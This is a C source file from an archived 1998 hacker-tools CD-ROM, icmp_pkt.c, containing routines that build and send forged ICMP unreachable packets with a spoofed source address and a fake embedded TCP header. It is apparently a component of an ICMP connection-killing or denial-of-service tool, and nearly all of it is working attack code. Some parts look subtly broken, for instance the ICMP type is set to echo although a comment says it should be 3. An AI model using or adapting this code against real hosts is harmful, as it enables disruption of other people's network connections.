home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / unix / resolve.c / icmp_pkt.c < prev    next >
Encoding:
C/C++ Source or Header  |  1996-05-18  |  3.8 KB  |  143 lines

  1. /*
  2.  * icmp_pkt.c
  3.  * by crisk
  4.  *  
  5.  * routines to send a custom icmp/ip packet over the net.
  6.  * 
  7.  * CHANGES: changed ttl value on both headers to be possible to such a packet. 
  8.  * 
  9.  */
  10.  
  11. #define IPHDRSIZE sizeof(struct iphdr)
  12. #define ICMPHDRSIZE sizeof(struct icmphdr)
  13.  
  14. #include <sys/types.h>
  15. #include <sys/socket.h>
  16.  
  17. #include <netinet/ip.h>
  18. #include <netinet/in.h>
  19. #include <netinet/ip_icmp.h>
  20. int cize;
  21.  
  22. /* ********** RIPPED CODE START ******************************** */
  23.  
  24. /*
  25.  * in_cksum --
  26.  *  Checksum routine for Internet Protocol family headers (C Version)
  27.  */
  28. unsigned short in_cksum(addr, len)
  29.     u_short *addr;
  30.     int len;
  31. {
  32.     register int nleft = len;
  33.     register u_short *w = addr;
  34.     register int sum = 0;
  35.     u_short answer = 0;
  36.  
  37.     /*
  38.      * Our algorithm is simple, using a 32 bit accumulator (sum), we add
  39.      * sequential 16 bit words to it, and at the end, fold back all the
  40.      * carry bits from the top 16 bits into the lower 16 bits.
  41.      */
  42.     while (nleft > 1)  {
  43.         sum += *w++;
  44.         nleft -= 2;
  45.     }
  46.  
  47.     /* mop up an odd byte, if necessary */
  48.     if (nleft == 1) {
  49.         *(u_char *)(&answer) = *(u_char *)w ;
  50.         sum += answer;
  51.     }
  52.  
  53.     /* add back carry outs from top 16 bits to low 16 bits */
  54.     sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
  55.     sum += (sum >> 16);         /* add carry */
  56.     answer = ~sum;              /* truncate to 16 bits */
  57.     return(answer);
  58. }
  59.  
  60. /* ********** RIPPED CODE END ******************************** */
  61.  
  62.  
  63. /*
  64.  * icmp_unreach_send()
  65.  * builds and sends an ICMP unreachable packet. Since ICMP unreachable packets
  66.  * contain the IP header + 64 bits of original datagram, we create a bogus
  67.  * IP header and the first 64 bits of a TCP header (ports and syn). 
  68.  *
  69.  */
  70.  
  71.  inline int icmp_unreach_send(int                socket, 
  72.                          struct sockaddr_in *address,
  73.                    unsigned char      icmp_code,
  74.                    unsigned long      spoof_addr,
  75.                   unsigned long      s_addr,
  76.                   unsigned long      t_addr,
  77.                   unsigned           s_port,
  78.                   unsigned           t_port,
  79.                   unsigned long      seq)
  80.      {
  81.     unsigned char packet[4098];
  82.     struct iphdr   *ip;
  83.     struct icmphdr *icmp;
  84.     struct iphdr   *origip;
  85.     unsigned char  *data;
  86.         int i;
  87.     
  88.     
  89.     ip = (struct iphdr *)packet;
  90.     icmp = (struct icmphdr *)(packet+IPHDRSIZE);
  91.     origip = (struct iphdr *)(packet+IPHDRSIZE+ICMPHDRSIZE);
  92.     data = (char *)(packet+IPHDRSIZE+IPHDRSIZE+ICMPHDRSIZE);
  93.     
  94.     memset(packet, 0, 4098);
  95.     
  96.     ip->saddr    = spoof_addr;
  97.     ip->daddr    = t_addr;
  98.     ip->version  = 4;
  99.     ip->ihl      = 5; 
  100.     ip->ttl      = 255-random()%15;
  101.     ip->protocol = IPPROTO_ICMP;
  102.     ip->tot_len  = htons(IPHDRSIZE + cize + ICMPHDRSIZE + IPHDRSIZE + 8);
  103.     
  104.     ip->check    = in_cksum(packet,IPHDRSIZE);
  105.     
  106.         origip->saddr    = t_addr;   /* this is the 'original' header. */
  107.     origip->daddr    = s_addr;
  108.     origip->version  = 4;
  109.     origip->ihl      = 5;
  110.     origip->ttl      = ip->ttl - random()%15;
  111.     origip->protocol = IPPROTO_TCP; 
  112.     origip->tot_len  = IPHDRSIZE + 30; 
  113.     origip->id       = random()%69;
  114.     
  115.            origip->check = in_cksum(origip,IPHDRSIZE);
  116.     
  117.     *((unsigned int *)data)          = htons(s_port);
  118.     *((unsigned int *)(data+2))      = htons(t_port);
  119.     *((unsigned long *)(data+4))     = htonl(seq);
  120.  
  121.     /* 'original IP header + 64 bits (of bogus TCP header)' made. */
  122.     
  123.     icmp->type = ICMP_ECHO; /* should be 3 */
  124.     icmp->code = icmp_code;
  125.     
  126.     icmp->checksum = in_cksum(icmp,cize+ICMPHDRSIZE+IPHDRSIZE+8);
  127.  
  128.     /* the entire ICMP packet it now ready. */
  129.         
  130. #ifdef ICMP_PKT_DEBUG    
  131.         printf("Packet ready. Dump: \n");
  132.         for (i=0;i<IPHDRSIZE+ICMPHDRSIZE+IPHDRSIZE+8;i++)
  133.        printf("%02X%c",*(packet+i),((i+1)%16) ? ' ' : '\n');
  134.         printf("\n");
  135. #endif    
  136.     
  137.     return sendto(socket,packet,IPHDRSIZE+cize+ICMPHDRSIZE+IPHDRSIZE+8,0,
  138.               (struct sockaddr *)address,sizeof(struct sockaddr)); 
  139.     
  140.     /* ICMP packet is now over the net. */
  141.     
  142.      }
  143.